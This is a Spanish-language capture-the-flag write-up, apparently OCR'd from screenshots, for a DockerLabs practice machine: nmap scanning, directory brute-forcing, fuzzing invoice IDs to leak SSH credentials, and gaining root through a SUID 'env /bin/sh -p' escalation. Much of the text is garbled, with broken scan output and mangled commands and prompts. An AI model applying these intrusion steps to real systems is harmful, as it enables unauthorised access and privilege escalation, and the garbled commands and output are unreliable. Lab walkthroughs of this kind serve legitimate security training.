Arrancamos la maquina:

[~/dockerlabs/Facil]
duque. tar

AL EE R R RN Y

Estamos desplegando 1la maquina vulnerable, espere un momento.

172.17.0.2

Escaneamos con nmap la maquina, para saber que servicios tiene disponibles:

— [~/dockerlabs/Facil]
— i T4 172.17.8.2
Starting Nmap 7.98 (
Nmap scan report for
Host is up ( :
Not shown: 6

STATE

Jtcp open
MAC Address: 02: {Unknown)

Nmap done: addre (1 host up) scanned in 1.65 seconds




Esta es la pagina principal de la maquina
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Haciendo fuerza bruta de directorios encontramos el directorio /bills/ , el cual es vulnerable a
SQL injection
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Encontramos que podemos ver facturas segun su ID
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OffSec  KaliLinux # KaliTools « N Kali Forums X Kali NetHunter « Exploit-DB % Google Hacking DB

Panel de Gestion de Facturas
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admin (Administrator) | Cerrar Sesion
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Detalle de Factura

TUS ULTIMAS FACTURAS
Factura Consumo (Enero)
Factura Instalacién (Febrero)




Nos damos cuenta de que hay mas facturas disponibles a parte de las dos que se ven, por
lo que hacemos fuzz y comparamos el Size
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Encontramos que una de ellas nos da un usuario y contrasefa:

<« C @ O & Not Secure 172.17.0.2;
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admin (Administrator) | Cerrar Sesién

Detalle de Factura
usuaRio
duque

PASSWORD
duquelaje81029557!

Nos registramos con esas credenciales por ssh:

~/dockerlabs/Facil
e

JLinux 6.18.5+kali-amd64 x86_6
* Documentation: ://help.ubuntu. com

* Management: :/flandscape.canonical.com
Jubuntu.com/pro

This system has been minimized by r
not required on a system that users do not log into.

emoving packages and content that

To restore this content, you can run the "unminimize® command.

Last login: Mon May & L:36 2026 from 172.17.0.1
duqueg fef:~$ 1l

vemos como podemos escalar privilegios:
duquef2cf3ds6e2fcf:~$ find /

bin/mou
Jusr/bin/umount
Jusr/bin/newgrp

in/gpasswd
‘bin/chsh
Jusr/bin/passwd
Jusr/bin/chfn
Jusr/bin/sudo
duqueg2cfidsbe2fcf:~% |



Maquina completada, usuario root conseguido

duqueg2cfidsbe2fcf:~$ env /bin/sh —p
# whoami

root

# 1




